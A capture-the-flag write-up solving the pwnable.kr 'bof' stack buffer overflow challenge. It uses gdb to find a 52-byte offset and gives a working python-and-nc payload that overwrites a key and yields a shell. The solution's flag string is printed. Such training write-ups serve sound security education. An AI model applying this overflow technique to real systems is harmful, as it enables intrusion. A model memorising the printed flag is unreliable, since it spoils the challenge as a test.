Pwnable.kr - bof


Another challenge from pwnable.kr will show us how to perform a simple buffer overflow attack.

Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

This time we’re going to download the source code and the binary from the webpage. After that we’re ready to analyze whatever this challenge brings to us.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

Firstly, we can see that this application is vulnerable to overflow, since gets() function won’t cut the characters after the buffer. Let’s see man pages.

Never use gets().  Because it is impossible to tell without knowing the
data in advance how many characters gets() will read, and because
gets() will continue to store characters past the end of the buffer, it
is extremely dangerous to use. It has been used to break computer
security. Use fgets() instead.

Since the best way to execute /bin/sh is to make the the comparision true, we will have to overflow the buffer, and change the value of the key parameter. Game plan is to find out the address of the key, and then the address of overflowme. This will allow us to calculate the offset between those 2 addresses, resulting in the number of trash data that has to be put into the buffer.

Let’s fire up gdb, and disassemble main() function.

[email protected] ~ % gdb ./bof

(gdb) disas main
Dump of assembler code for function main:
0x0000068a <+0>: push %ebp
0x0000068b <+1>: mov %esp,%ebp
0x0000068d <+3>: and $0xfffffff0,%esp
0x00000690 <+6>: sub $0x10,%esp
0x00000693 <+9>: movl $0xdeadbeef,(%esp)
0x0000069a <+16>: call 0x62c <func>
0x0000069f <+21>: mov $0x0,%eax
0x000006a4 <+26>: leave
0x000006a5 <+27>: ret
End of assembler dump.

Here we can see that at main+9 the 0xdeadbeef is moved into the esp. In order to find the address of this variable we will have to set up breakpoint at main+16, and view the content of stack pointer.

(gdb) break *main+16
Breakpoint 1 at 0x69a
(gdb) run
Starting program: /home/w3ndige/programming/pwnable.kr/bof

Breakpoint 1, 0x5655569a in main ()
(gdb) x/x $esp
0xffffd180: 0xdeadbeef

Great, we have it! Now we have to find the address of overflowme buffer, which lays in the func function. Let’s disassemble it.

(gdb) disas func
Dump of assembler code for function func:
0x0000062c <+0>: push ebp
0x0000062d <+1>: mov ebp,esp
0x0000062f <+3>: sub esp,0x48
0x00000632 <+6>: mov eax,gs:0x14
0x00000638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0000063b <+15>: xor eax,eax
0x0000063d <+17>: mov DWORD PTR [esp],0x78c
0x00000644 <+24>: call 0x645 <func+25>
0x00000649 <+29>: lea eax,[ebp-0x2c]
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call 0x650 <func+36>
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x0000065b <+47>: jne 0x66b <func+63>
0x0000065d <+49>: mov DWORD PTR [esp],0x79b
0x00000664 <+56>: call 0x665 <func+57>
0x00000669 <+61>: jmp 0x677 <func+75>
0x0000066b <+63>: mov DWORD PTR [esp],0x7a3
0x00000672 <+70>: call 0x673 <func+71>
0x00000677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x0000067a <+78>: xor eax,DWORD PTR gs:0x14
0x00000681 <+85>: je 0x688 <func+92>
0x00000683 <+87>: call 0x684 <func+88>
0x00000688 <+92>: leave
0x00000689 <+93>: ret
End of assembler dump.

Since we know that local variables are on the negative size of ebp (read more), we can guess that ebp-0x2c is the address of overflowme variable. Let’s set another breakpoint at gets and find out if it’s true.

(gdb) break gets
Breakpoint 2 at 0xf7e3b915
(gdb) c
Continuing.
overflow me :

Breakpoint 2, 0xf7e3b915 in gets () from /usr/lib32/libc.so.6
(gdb) next
Single stepping until exit from function gets,
which has no line number information.
helloworld
0x56555654 in func ()
(gdb) x/1s $ebp -0x2c
0xffffd14c: "helloworld"

Now we’re ready to calculate the offset between those two addresses.

>>> 0xffffd180 - 0xffffd14c
52

Ready to exploit?

[email protected] ~ % (python2 -c "print 52*'A'+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000
whoami
bof
ls -la
total 25060
drwxr-x--- 3 root bof 4096 Oct 23 2016 .
drwxr-xr-x 80 root root 4096 Jan 11 2017 ..
d--------- 2 root root 4096 Jun 12 2014 .bash_history
-r-xr-x--- 1 root bof 7348 Sep 12 2016 bof
-rw-r--r-- 1 root root 308 Oct 23 2016 bof.c
-r--r----- 1 root bof 32 Jun 11 2014 flag
-rw------- 1 root root 25626087 Nov 23 11:33 log
-rw-r--r-- 1 root root 0 Oct 23 2016 log2
-rwx------ 1 root root 760 Sep 10 2014 super.pl
cat flag
daddy, I just pwned a buFFer :)

By printing 52 A letters and the number used in comparision (stored in little endian format), we were able to exploit this application.

Keep learning and stay safe! ~ W3ndige